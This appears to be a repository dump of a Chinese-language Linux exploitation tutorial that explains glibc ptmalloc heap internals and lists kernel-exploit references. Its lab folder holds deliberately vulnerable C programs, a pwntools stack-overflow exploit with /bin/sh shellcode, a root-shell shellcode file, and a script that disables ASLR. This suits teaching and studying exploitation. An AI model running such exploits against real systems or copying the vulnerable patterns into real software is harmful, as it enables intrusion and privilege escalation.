91 | 主线程调用了`malloc(1000)`过后, 可以系统在数据段相邻的地方提供了 132KB 大小的空间, 这个空间被称为 arena, 也由于是主线程创建也被称为 main_arena.
92 | 132KB 比 1000 字节大太多, 后面主线程继续申请空间会先从 main_arena 这里扣除, 直到不够用系统会继续增加 arena 的大小.
93 |
94 | ```x86asm
95 | 08048000-08049000 r-xp 00000000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out
96 | 08049000-0804a000 r--p 00000000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out
97 | 0804a000-0804b000 rw-p 00001000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out
98 | 0804b000-0806c000 rw-p 00000000 00:00 0 [heap]
99 | b7e05000-b7e07000 rw-p 00000000 00:00 0
100 | ```
101 | After free in main thread:
102 | 在主线程调用 free 之后, 内存布局还没有变,`free()`操作并不是直接把内存给操作系统, 而是给库函数加以管理.
103 | 它会将已经释放的`chunk`(heap 的最小内存单位) 添加到`main_arean`的 bin(这是一种用于存储同类型 free chunk 的双链表数据结构) 中. 下次申请堆空间时候优先从 bin 中找合适的 chunk.
104 |
105 | ```x86asm
106 | 08048000-08049000 r-xp 00000000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out
107 | 08049000-0804a000 r--p 00000000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out
108 | 0804a000-0804b000 rw-p 00001000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out
109 | 0804b000-0806c000 rw-p 00000000 00:00 0 [heap]
110 | b7e05000-b7e07000 rw-p 00000000 00:00 0
111 | ```
112 | Before malloc in thread 1:
113 | 可以看到用户线程在没有申请对空间是没有默认线程堆空间的, 但是有默认线程栈.
114 |
115 | ```x86asm
116 | 08048000-08049000 r-xp 00000000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out
117 | 08049000-0804a000 r--p 00000000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out
118 | 0804a000-0804b000 rw-p 00001000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out
119 | 0804b000-0806c000 rw-p 00000000 00:00 0 [heap]
120 | b7604000-b7605000 ---p 00000000 00:00 0
121 | b7605000-b7e07000 rw-p 00000000 00:00 0 [stack:11284]
122 | ```
123 | After malloc and before free in thread 1:
124 | 在 thread1 调用`malloc()`后创建了堆空间 (no_main_arena), 其起始地址是 0xb7500000 与前面的 data segment 不连续可以猜测这是由`mmap`分配的.
125 | 非主线程每次利用`mmap`像操作申请`MAX_HEAP_SIZE`(32 位系统默认 1M) 大小的虚拟内存, 在从其中切割出 0xb7521000-0xb7500000 给用户线程.
126 |
127 | ```x86asm
128 | 08048000-08049000 r-xp 00000000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out
129 | 08049000-0804a000 r--p 00000000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out
130 | 0804a000-0804b000 rw-p 00001000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out
131 | 0804b000-0806c000 rw-p 00000000 00:00 0 [heap]
132 | b7500000-b7521000 rw-p 00000000 00:00 0
133 | b7521000-b7600000 ---p 00000000 00:00 0
134 | b7604000-b7605000 ---p 00000000 00:00 0
135 | b7605000-b7e07000 rw-p 00000000 00:00 0 [stack:11284]
136 | ```
137 | After free in thread 1:
138 | 内存的 layout 也没有发生变化, 这个主线程行为一致.
139 |
140 | ```x86asm
141 | 08048000-08049000 r-xp 00000000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out
142 | 08049000-0804a000 r--p 00000000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out
143 | 0804a000-0804b000 rw-p 00001000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out
144 | 0804b000-0806c000 rw-p 00000000 00:00 0 [heap]
145 | b7500000-b7521000 rw-p 00000000 00:00 0
146 | b7521000-b7600000 ---p 00000000 00:00 0
147 | b7604000-b7605000 ---p 00000000 00:00 0
148 | b7605000-b7e07000 rw-p 00000000 00:00 0 [stack:11284]
149 | ```
150 |
151 | # 0x10 the implementation of ptmalloc2
152 |
153 | ## 0x11 arena
154 |
155 | 从 ptmalloc 看到了"主线程和用户线程 1 都有自己的 arena", 但是是事实上没有并不是为每线程的 arena, 系统最多支持的 arena 的个数取决于 core 的个数和系统位数`(core*2+1)`.
156 |
157 | ```c
158 | ...
159 | int n = __get_nprocs ();
160 |
161 | if (n >= 1)
162 | narenas_limit = NARENAS_FROM_NCORES (n);
163 | else
164 | /* We have no information about the system. Assume two
165 | cores. */
166 | narenas_limit = NARENAS_FROM_NCORES (2);
167 | ...
168 |
169 | #define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8))
170 | .arena_test = NARENAS_FROM_NCORES (1)
171 | ```
172 |
173 | 1: 主线程调`malloc()`后创建`main_arena`:
174 |
175 | ```c
176 | #define arena_for_chunk(ptr) \
177 | (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
178 | ```
179 |
180 | ```c
181 | /* check for chunk from non-main arena */
182 | #define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)
183 | ```
184 |
185 | ```c
186 | static struct malloc_state main_arena =
187 | {
188 | .mutex = _LIBC_LOCK_INITIALIZER,
189 | .next = &main_arena,
190 | .attached_threads = 1
191 | };
192 | ```
193 |
194 | 2: 用户线程创建调用`malloc()`经过一些调用后进入`arena_get2()`, 如果没有达到进程的`arena`你上限则调用`_int_new_arena()`为当前线程创建`arena`, 如果达到上限, 会复用现有的`arena`(遍历有 arena 组成的链表并尝试上锁, 如果锁失败, 尝试下一个, 如果成功则返回其`arena`, 表示其可以被当前线程所使用)
195 |
196 | ```c
197 | static mstate
198 | internal_function
199 | arena_get2 (size_t size, mstate avoid_arena)
200 | {
201 | mstate a;
202 |
203 | static size_t narenas_limit;
204 |
205 | ...
206 | repeat:;
207 | size_t n = narenas;
208 | if (__glibc_unlikely (n <= narenas_limit - 1))
209 | {
210 | if (catomic_compare_and_exchange_bool_acq (&narenas, n + 1, n))
211 | goto repeat;
212 | a = _int_new_arena (size);
213 | if (__glibc_unlikely (a == NULL))
214 | catomic_decrement (&narenas);
215 | }
216 | else
217 | a = reused_arena (avoid_arena); // 复用!
218 | }
219 | return a;
220 | }
221 | ```
222 |
223 | 3: 如果在`arena`链表里面没有找到可以用的, 会阻塞到有可用的为止.
224 |
225 | ```c
226 | static mstate
227 | reused_arena (mstate avoid_arena)
228 | {
229 | mstate result;
230 | ...
231 |
232 | /* No arena available without contention. Wait for the next in line. */
233 | LIBC_PROBE (memory_arena_reuse_wait, 3, &result->mutex, result, avoid_arena);
234 | (void) mutex_lock (&result->mutex); // 这里, 在看注释
235 | ...
236 |
237 | return result;
238 | }
239 |
240 | ```
241 |
242 | ## 0x12 data struct in heap
243 |
244 | glibc 中堆管理对几个术语下定义 [^wiki]:
245 |
246 | > Chunk: A small range of memory that can be allocated (owned by the application), freed (owned by glibc), or combined with adjacent chunks into larger ranges. Note that a chunk is a wrapper around the block of memory that is given to the application. Each chunk exists in one heap and belongs to one arena.
247 |
248 | > Arena: A structure that is shared among one or more threads which contains references to one or more heaps, as well as linked lists of chunks within those heaps which are "free". Threads assigned to each arena will allocate memory from that arena's free lists.
249 |
250 | > Heap: A contiguous region of memory that is subdivided into chunks to be allocated. Each heap belongs to exactly one arena.
251 |
252 | 管理过程中主要涉及的三个核心结构体如下:
253 |
254 | ### malloc_chunk
255 |
256 | `malloc_chunk`是`chunk header`, 一个`heap`被分为多个`chunk`, 其大小有用户请求所决定, 每一个`chunk`都有自己的`malloc_chunk`.
257 |
258 | ```c
259 | struct malloc_chunk {
260 |
261 | INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
262 | INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
263 |
264 | struct malloc_chunk* fd; /* double links -- used only if free. */
265 | struct malloc_chunk* bk;
266 |
267 | /* Only used for large blocks: pointer to next larger size. */
268 | struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
269 | struct malloc_chunk* bk_nextsize;
270 | };
271 | ```
272 |
273 | ### heap_info
274 |
275 | `heap_info`是`heap header`, 因为`no_main_arena`可以包含多个`heap`, 为了方便管理就每`heap`一个`heap_info`.
276 | 如果当前 heap 不够用时候,`malloc`会调用`mmap`来分配新对空间, 新空间会被添加到`no_main_arena`. 这种情况`no_main_arena`就包含多个`heap_info`.
277 | `main_arena`不包含多个`heap`所以也就不含有`heap_info`.
278 |
279 | ```c
280 | typedef struct _heap_info
281 | {
282 | mstate ar_ptr; /* Arena for this heap. */
283 | struct _heap_info *prev; /* Previous heap. */
284 | size_t size; /* Current size in bytes. */
285 | size_t mprotect_size; /* Size in bytes that has been mprotected
286 | PROT_READ|PROT_WRITE. */
287 | /* Make sure the following data is properly aligned, particularly
288 | that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
289 | MALLOC_ALIGNMENT. */
290 | char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK];
291 | } heap_info;
292 | ```
293 |
294 | ### malloc_state
295 |
296 | `malloc_state`是`arena header`, 每个`no_main_arean`可能包含多个`heap_info`, 但是只能有一个`malloc_state`,`malloc`其中包含`chunk`容器的一些信息.
297 | 不同于`no_main_arena`,`main_arena`的`malloc_state`并不是 sbrk heap segement 的一部分, 而是一个全局变量 (main_arena) 属于 libc.so 的 data segment.
298 |
299 | ```c
300 | struct malloc_state
301 | {
302 | /* Serialize access. */
303 | mutex_t mutex;
304 |
305 | /* Flags (formerly in max_fast). */
306 | int flags;
307 |
308 | /* Fastbins */
309 | mfastbinptr fastbinsY[NFASTBINS];
310 |
311 | /* Base of the topmost chunk -- not otherwise kept in a bin */
312 | mchunkptr top;
313 |
314 | /* The remainder from the most recent split of a small request */
315 | mchunkptr last_remainder;
316 |
317 | /* Normal bins packed as described above */
318 | mchunkptr bins[NBINS * 2 - 2];
319 |
320 | /* Bitmap of bins */
321 | unsigned int binmap[BINMAPSIZE];
322 |
323 | /* Linked list */
324 | struct malloc_state *next;
325 |
326 | /* Linked list for free arenas. Access to this field is serialized
327 | by free_list_lock in arena.c. */
328 | struct malloc_state *next_free;
329 |
330 | /* Number of threads attached to this arena. 0 if the arena is on
331 | the free list. Access to this field is serialized by
332 | free_list_lock in arena.c. */
333 | INTERNAL_SIZE_T attached_threads;
334 |
335 | /* Memory allocated from the system in this arena. */
336 | INTERNAL_SIZE_T system_mem;
337 | INTERNAL_SIZE_T max_system_mem;
338 | };
339 | ```
340 |
341 | ### heap segment relationship with arena
342 |
343 | 图示`main_arena`与`no_main_arean(single heap)`
344 | 
345 |
346 | 图示`no_main_arena(multiple heap)`
347 | 
348 |
349 | ## 0x13 chunk
350 |
351 | >Glibc's malloc is chunk-oriented. It divides a large region of memory (a "heap") into chunks of various sizes. Each chunk includes meta-data about how big it is (via a size field in the chunk header), and thus where the adjacent chunks are. When a chunk is in use by the application, the only data that's "remembered" is the size of the chunk. When the chunk is free'd, the memory that used to be application data is re-purposed for additional arena-related information, such as pointers within linked lists, such that suitable chunks can quickly be found and re-used when needed. Also, the last word in a free'd chunk contains a copy of the chunk size (with the three LSBs set to zeros, vs the three LSBs of the size at the front of the chunk which are used for flags).[^wiki]
352 |
353 | `chunk`有两个状态分别是: `allocated chunk`,`free chunk`.
354 |
355 | * allocated chunk:
356 | 
357 | 1: `malloc_chunk->prev_size`如果前的`chunk`的是 free 的, 那这域里面填充前面的`chunk`的 size. 如果前`chunk`是 allocated, 这个地方包含前一个`chunk`的用户数据.
358 | 2: `malloc_chunk->size`是当前`allocated chunk`的大小 (包含头部), 最后 3bit 是 flag 的信息 [^wiki].
359 | 3: 其他的区域在`allocted chunk`(比如 fd,bk) 是没有意义的, 它们的位置被用户存放数据.
360 |
361 | * free chunk
362 | 
363 | 1: `malloc_chunk->prev_size`, 不能有两个 free 的 chunk 相邻 (一般合并为一个), 因此`free chunk`的`malloc->prev_size`是个`allocated chunk`的用户数据.
364 | 2: `malloc_chunk->size`记录当前`free chunk`的`size`.
365 | 3: `malloc_chunk->fd`(forwar pointer) 指向同一个 bin 的前一个 chunk.
366 | 4: `malloc_chunk->bk`(backward pointer) 指向同一个 bin 的后一个 chunk.
367 |
368 | ## 0x15 bins
369 |
370 | 因为`ptmalloc`内存分配都是以`chunk`为单位的, 对空闲的`chunk`, 采用分箱式内存管理方式, 根据空闲`chunk`大小和使用情况将其放在四种不同的`bin`中, 这四个空闲 chunk 的容器包括`fast bins`,`small bins`和`large bins`,`unsorted bins`.
371 |
372 | `glibc`中用于记录`bin`的数据结构有两个 [^source].
373 |
374 | * fastbinsY: 这是一个数组里面记录所有的 fast bins.
375 | * bins: 也是一个数组, 记录 fast bins 之外的 bins, 分别是:1:unsorted bin;2-63:small bin;64-126: large bin.
376 |
377 | ```c
378 | struct malloc_state
379 | {
380 | ....
381 | /* Fastbins */
382 | mfastbinptr fastbinsY[NFASTBINS];
383 | ...
384 | /* Normal bins packed as described above */
385 | mchunkptr bins[NBINS * 2 - 2]; // #define NBINS 128
386 | // bins 数组能存放 254 个 mchunkptr 指针, 被用来存放 126 头结点指针.
387 | ...
388 | };
389 | ```
390 |
391 | ### fast bins
392 |
393 | * number: 10
394 |
395 | * data struct: 单链表 (fd only), 在 fast_bin 中的操作 (添, 删) 都在表尾操作. 更具体点就是 LIFO 算法: 添加操作 (free) 就是将新的 fast chunk 加入链表尾, 删除操作 (malloc) 就是将链表尾部的 fast chunk 删除. 需要注意的是, 为了实现 LIFO 算法,fastbinsY 数组中每个 fastbin 元素均指向了该链表的尾结点, 而尾结点通过其 fd 指针指向前一个结点, 依次类推.
396 |
397 | * chunksize: 10 个 fast_bin 中包含的 chunk 的 size 是按照 8 递增排列的, 即第一个 fast_bin 中所有 chunk size 均为 16 字节, 第二个 fast bin 中为 24 字节, 依次类推. 在进行 malloc 初始化的时候, 最大的 fast_chunk_size 被设置为 80 字节, 因此默认情况下大小为 16 到 80 字节的 chunk 被分类到 fast chunk.
398 |
399 | * free chunk: 不会对 free chunk 进行合并操作. 设计 fast bins 的初衷就是进行快速的小内存分配和释放, 因此系统将属于 fast bin 的 chunk 的 P(未使用标志位) 总是设置为 1, 这样即使当 fast bin 中有某个 chunk 同一个 free chunk 相邻的时候, 系统也不会进行自动合并操作, 但是可能会造成额外的碎片化问题.
400 |
401 | * initialization: 第一次调用 malloc(fast bin) 的时候, 系统执行_int_malloc 函数, 该函数首先会发现当前 fast bin 为空, 就转交给 small bin 处理, 进而又发现 small bin 也为空, 就调用`malloc_consolidate`函数对`malloc_state`结构体进行初始化,`malloc_consolidate`函数主要完成以下几个功能:
402 | 1. 首先判断当前`malloc_state`结构体中的 fast bin 是否为空, 如果为空就说明整个`malloc_state`都没有完成初始化, 需要对`malloc_state`进行初始化.
403 | 2. `malloc_state`的初始化操作由函数`malloc_init_state(av)`完成, 该函数先初始化除 fast bin 之外的所有的 bins(构建双链表), 再初始化 fast bin.
404 |
405 | * malloc operation:即用户通过`malloc`请求的大小属于 fast chunk 的大小范围 (! 用户请求 size 加上 16 字节就是实际内存 chunk size), 在初始化的时候 fast bin 支持的最大内存大小以及所有 fast bin 链表都是空的, 所以当最开始使用 malloc 申请内存的时候, 即使申请的内存大小属于 fast chunk 的内存大小, 它也不会交由 fast bin 来处理, 而是向下传递交由 small bin 来处理, 如果 small bin 也为空的话就交给 unsorted bin 处理.
406 |
407 | * free operation: 主要分为两步: 先通过`chunksize`函数根据传入的地址指针获取该指针对应的`chunk`的大小;然后根据这个`chunk`大小获取该`chunk`所属的 fast bin, 然后再将此 chunk 添加到该 fast bin 的链尾即可. 整个操作都是在`_int_free()`函数中完成.
408 |
409 |
410 | 
411 |
412 | ### small bins
413 |
414 | * number: 62
415 |
416 | * chunk size: 同一个 small_bin 里面的 chunk_size 大小是一样的, 第一个 small_bin 的 chunk_size 为 16 字节, 后面以 8 为等差递增, 即最后一个 small_bin 的 chunk_size 为 512bytes.
417 |
418 | * merge: 相邻的 free_chunk 需要进行合并操作, 即合并成一个大的 free chunk.
419 |
420 | * malloc operation: 类似于 fast bins, 最初所有的 small bin 都是空的, 因此在对这些 small bin 完成初始化之前, 即使用户请求的内存大小属于 small chunk 也不会交由 small bin 进行处理, 而是交由 unsorted bin 处理, 如果 unsorted bin 也不能处理的话, 会依次遍历后续的所有 bins, 找出第一个满足要求的 bin, 如果所有的 bin 都不满足的话, 就转而使用`top chunk`.
421 | 1. 如果`top chunk`大小不够, 那么就扩充`top chunk`, 这样能满足需求.
422 | 2. 如果`top chunk`满足的话, 那么久从中切割出用户请求的大小, 剩余的部分放入`unsorted bin`的`remainder chunk`, 此外这个`chunk`还成为了`last remainder chunk`以改善局部性`当随后的请求是请求一块 small chunk 并且 last remainder chunk 是 unsorted bin 中唯一的 chunk,last remainder chunk 就分割成两部分: 返回给用户的 user chunk, 添加到 unsorted bin 中的 remainder chunk. 此外, 这一 remainder chunk 还会成为最新的 last remainder chunk. 因此随后的内存分配最终导致各 chunk 被分配得彼此贴近`.
423 |
424 | * free operation: 当释放 small chunk 的时候, 先检查该 chunk 相邻的 chunk 是否为 free, 如果是的话就进行合并操作: 合并成新的 chunk, 然后将它们从 small bin 中移动到 unsorted bin 中.
425 |
426 | ### large bins
427 |
428 | * number: 63
429 |
430 | * chunk_size: 前 32 个 large_bin 依次以 64 字节递增, 即第一个 large bin 中 chunk size 为 512-575 字节, 第二个 large bin 中 chunk size 为 576-639 字节, 紧随其后的 16 个 large bin 依次以 512 字节步长为间隔; 之后的 8 个 bin 以步长 4096 为间隔; 再之后的 4 个 bin 以 32768 字节为间隔; 之后的 2 个 bin 以 262144 字节为间隔; 剩下的 chunk 放在最后一个 large bin 中,large bin 的位置是递减的.
431 |
432 | * merge operation: 相邻的 free_chunk 合并为一个更大的 free_chunk.
433 |
434 | * malloc operation: 初始化完成之前的操作类似于 small_bin, 初始化完成之后, 首先确定用户请求的大小属于哪一个 large bin, 然后判断该 large bin 中最大的 chunk 的 size 是否大于用户请求的 size.
435 | 1. 如果大于, 就从尾开始遍历该 large bin, 找到第一个 size 相等或接近的 chunk, 分配给用户. 如果该 chunk 大于用户请求的 size 的话, 就将该 chunk 拆分为两个 chunk:前者返回给用户, 且 size 等同于用户请求的 size;剩余的部分做为一个新的 chunk 添加到 unsorted bin 中.
436 | 2. 如果小于, 那么就依次查看后续的 large bin 中是否有满足需求的 chunk, 需要注意的是鉴于 bin 的个数较多 (不同 bin 中的 chunk 极有可能在不同的内存页中), 如果按照上一段中介绍的方法进行遍历的话 (即遍历每个 bin 中的 chunk), 可能会发生多次`page_fault`, 进而严重影响速度, 所以 ptmalloc 设计了 Binmap 结构体来帮助提高 bin-by-bin 的检索速度.Bitmap 记录了各个 bin 中是否为空, 如果通过 binmap 找到了下一个非空的 large bin 的话, 就按照上一段中的方法分配 chunk, 否则就使用 top chunk 来分配合适的内存.
437 |
438 | * free opertation: 当释放 large chunk 的时候, 先检查该 chunk 相邻的 chunk 是否为 free, 如果是的话就进行合并操作: 将这些 chunks 合并成新的 chunk, 后将它们移到 unsorted bin.
439 |
440 | ### unsorted bins
441 |
442 | 回收的 chunk 块必须先放到 unsorted bins 中, 分配内存时会查看 unsorted bins 中是否有合适的 chunk, 如果找到满足条件的 chunk, 则直接返回给用户, 否则 unsorted bins 的所有 chunk 放入 small_bin 或是 large_bin 中.
443 |
444 | * number: 1 个
445 | * chunk size: 无限制
446 |
447 | 
448 |
449 | ### references
450 |
451 | [^Understanding]: [Understanding glibc malloc](https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/comment-page-1/)
452 | [^freebuf1]: [Linux 堆内存管理深入分析(上)](http://www.freebuf.com/articles/system/104144.html)
453 | [^freebuf2]: [Linux 堆内存管理深入分析(下)](http://www.freebuf.com/articles/security-management/105285.html)
454 | [^source]: [glibc 内存管理 ptmalloc 源代码分析.pdf](http://www.valleytalk.org/wp-content/uploads/2015/02/glibc%E5%86%85%E5%AD%98%E7%AE%A1%E7%90%86ptmalloc%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%901.pdf)
455 | [^layout]: [memory layout](http://duartes.org/gustavo/blog/post/anatomy-of-a-program-in-memory/)
456 | [^wiki]: [glibc/wiki/](https://sourceware.org/glibc/wiki/MallocInternals#Overview_of_Malloc)
457 |
--------------------------------------------------------------------------------
/chapter4/README.md:
--------------------------------------------------------------------------------
1 | # 内核安全
2 |
3 | ## 安全机制
4 |
5 | kernel ROP 非常类似于用户态的 ROP,主要区别是用户态使用`system()`来调用执行 shellcode,而内核 ROP 是通过`prepare_kernel_cred()`来提升权限,下面介绍 x86 上面 rop 构造 ret2dir。
6 |
7 | [Linux kernel ROP](http://www.freebuf.com/articles/system/94198.html)
8 |
9 | [ret2dir: Rethinking Kernel Isolation](http://www.cs.columbia.edu/~vpk/papers/ret2dir.sec14.pdf)
10 |
11 | PXN 是 ARM 平台下的一项内核保护措施,该措施的目的是阻止内核执行用户态代码,保证内核的执行流程不会被劫持到用户空间。
12 |
13 | [PXN 的研究与绕过](http://blog.csdn.net/hu3167343/article/details/47394707)
14 |
15 | [Ownyour Android! Yet Another Universal Root](https://www.blackhat.com/docs/us-15/materials/us-15-Xu-Ah-Universal-Android-Rooting-Is-Back-wp.pdf)
16 |
17 | ## 现实案例研究
18 |
19 | [CVE-2014-2851 group_info UAF Exploitation](http://www.freebuf.com/vuls/92465.html)
20 |
21 | [(CVE-2015-3636) CVE-2015-3636 kernel: ping sockets: use-after-free leading to local privilege escalation](https://bugzilla.redhat.com/show_bug.cgi?id=1218074)
22 |
23 | [ANALYSISAND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728)](http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/)
24 |
25 | []
26 |
--------------------------------------------------------------------------------
/chapter5/README.md:
--------------------------------------------------------------------------------
1 | # 漏洞挖掘
2 |
--------------------------------------------------------------------------------
/lab_code/auth_overflow.c:
--------------------------------------------------------------------------------
1 | /*
2 | * 栈溢出问题,用来学习gdb
3 | */
4 |
5 | #include
6 | #include
7 | #include
8 |
9 | int check_authentication(char *password) {
10 | int auth_flag = 0;
11 | char password_buffer[16];
12 |
13 | strcpy(password_buffer, password);
14 |
15 | if(strcmp(password_buffer, "Sn0rt") == 0)
16 | auth_flag = 1;
17 | if(strcmp(password_buffer, "Snort") == 0)
18 | auth_flag = 1;
19 |
20 | return auth_flag;
21 | }
22 |
23 | int main(int argc, char *argv[]) {
24 | if(argc < 2) {
25 | printf("Usage: %s \n", argv[0]);
26 | exit(0);
27 | }
28 | if(check_authentication(argv[1])) {
29 | printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
30 | printf(" Access Granted.\n");
31 | printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
32 | } else {
33 | printf("\nAccess Denied.\n");
34 | }
35 | }
36 |
37 |
--------------------------------------------------------------------------------
/lab_code/exp.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from pwn import *
3 |
4 | p = process('./level1')
5 | ret = 0xffffcf90
6 | shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
7 | shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
8 | shellcode += "\x0b\xcd\x80"
9 | payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)
10 | p.send(payload)
11 | p.interactive()
12 |
--------------------------------------------------------------------------------
/lab_code/fmt_vuln.c:
--------------------------------------------------------------------------------
1 | /*
2 | * 格式化字符串漏洞演示程序
3 | */
4 |
5 | #include
6 | #include
7 | #include
8 |
9 | int main(int argc, char *argv[]) {
10 | char text[1024];
11 | static int test_val = -72;
12 |
13 | if(argc < 2) {
14 | printf("Usage: %s \n", argv[0]);
15 | exit(0);
16 | }
17 | strcpy(text, argv[1]);
18 |
19 | printf("The right way to print user-controlled input:\n");
20 | printf("%s", text);
21 |
22 | printf("\nThe wrong way to print user-controlled input:\n");
23 | printf(text);
24 |
25 | printf("\n");
26 |
27 | // Debug output
28 | printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
29 |
30 | exit(0);
31 | }
32 |
--------------------------------------------------------------------------------
/lab_code/init.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | su root -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
4 | su root -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
5 | ulimit -c unlimited
6 |
7 |
--------------------------------------------------------------------------------
/lab_code/level1:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hardenedlinux/linux-exploit-development-tutorial/1ccc41f309a9b461bd7edfc112f45fafe95f16f2/lab_code/level1
--------------------------------------------------------------------------------
/lab_code/peda-session-level1.txt:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/lab_code/shellcode.s:
--------------------------------------------------------------------------------
1 | BITS 32
2 |
3 | ; setresuid(uid_t ruid, uid_t euid, uid_t suid);
4 | xor eax, eax ; zero out eax
5 | xor ebx, ebx ; zero out ebx
6 | xor ecx, ecx ; zero out ecx
7 | cdq ; zero out edx using the sign bit from eax
8 | mov BYTE al, 0xa4 ; syscall 164 (0xa4)
9 | int 0x80 ; setresuid(0, 0, 0) restore all root privs
10 |
11 | ; execve(const char *filename, char *const argv [], char *const envp[])
12 | push BYTE 11 ; push 11 to the stack
13 | pop eax ; pop dword of 11 into eax
14 | push ecx ; push some nulls for string termination
15 | push 0x68732f2f ; push "//sh" to the stack
16 | push 0x6e69622f ; push "/bin" to the stack
17 | mov ebx, esp ; put the address of "/bin//sh" into ebx, via esp
18 | push ecx ; push 32-bit null terminator to stack
19 | mov edx, esp ; this is an empty array for envp
20 | push ebx ; push string addr to stack above null terminator
21 | mov ecx, esp ; this is the argv array with string ptr
22 | int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])
23 |
--------------------------------------------------------------------------------
/lab_code/stack.c:
--------------------------------------------------------------------------------
1 | /*
2 | * gcc -fno-stack-protector -m32 -z execstack -o level1 stack.c
3 | */
4 | #include
5 | #include
6 | #include
7 |
8 | void vulnerable_function() {
9 | char buf[128];
10 | read(STDIN_FILENO, buf, 256);
11 | }
12 |
13 | int main(int argc, char** argv) {
14 | vulnerable_function();
15 | write(STDOUT_FILENO, "Hello, World\n", 13);
16 | }
17 |
--------------------------------------------------------------------------------
/media/attach/Linux Heap Internals.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hardenedlinux/linux-exploit-development-tutorial/1ccc41f309a9b461bd7edfc112f45fafe95f16f2/media/attach/Linux Heap Internals.pdf
--------------------------------------------------------------------------------
/media/attach/aslr_3:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hardenedlinux/linux-exploit-development-tutorial/1ccc41f309a9b461bd7edfc112f45fafe95f16f2/media/attach/aslr_3
--------------------------------------------------------------------------------
/media/attach/pwn5:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hardenedlinux/linux-exploit-development-tutorial/1ccc41f309a9b461bd7edfc112f45fafe95f16f2/media/attach/pwn5
--------------------------------------------------------------------------------
/media/attach/shellcode.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hardenedlinux/linux-exploit-development-tutorial/1ccc41f309a9b461bd7edfc112f45fafe95f16f2/media/attach/shellcode.bin
--------------------------------------------------------------------------------
/media/pic/heap/MallocInternals-chunk-inuse.svg:
--------------------------------------------------------------------------------
1 |
2 |
3 |
--------------------------------------------------------------------------------
/media/pic/heap/UAF.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hardenedlinux/linux-exploit-development-tutorial/1ccc41f309a9b461bd7edfc112f45fafe95f16f2/media/pic/heap/UAF.png
--------------------------------------------------------------------------------
/media/pic/heap/fast_bin.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hardenedlinux/linux-exploit-development-tutorial/1ccc41f309a9b461bd7edfc112f45fafe95f16f2/media/pic/heap/fast_bin.png
--------------------------------------------------------------------------------
/media/pic/heap/house-of-force-after-attack.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hardenedlinux/linux-exploit-development-tutorial/1ccc41f309a9b461bd7edfc112f45fafe95f16f2/media/pic/heap/house-of-force-after-attack.png
--------------------------------------------------------------------------------
/media/pic/heap/house-of-force-before-attack.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hardenedlinux/linux-exploit-development-tutorial/1ccc41f309a9b461bd7edfc112f45fafe95f16f2/media/pic/heap/house-of-force-before-attack.png
--------------------------------------------------------------------------------
/media/pic/heap/house-of-spirit-after-attack.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hardenedlinux/linux-exploit-development-tutorial/1ccc41f309a9b461bd7edfc112f45fafe95f16f2/media/pic/heap/house-of-spirit-after-attack.png
--------------------------------------------------------------------------------
/media/pic/heap/house-of-spirit-before-attack.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hardenedlinux/linux-exploit-development-tutorial/1ccc41f309a9b461bd7edfc112f45fafe95f16f2/media/pic/heap/house-of-spirit-before-attack.png
--------------------------------------------------------------------------------
/media/pic/heap/malloc-maleficarum-heap-layout-after-attack.png:
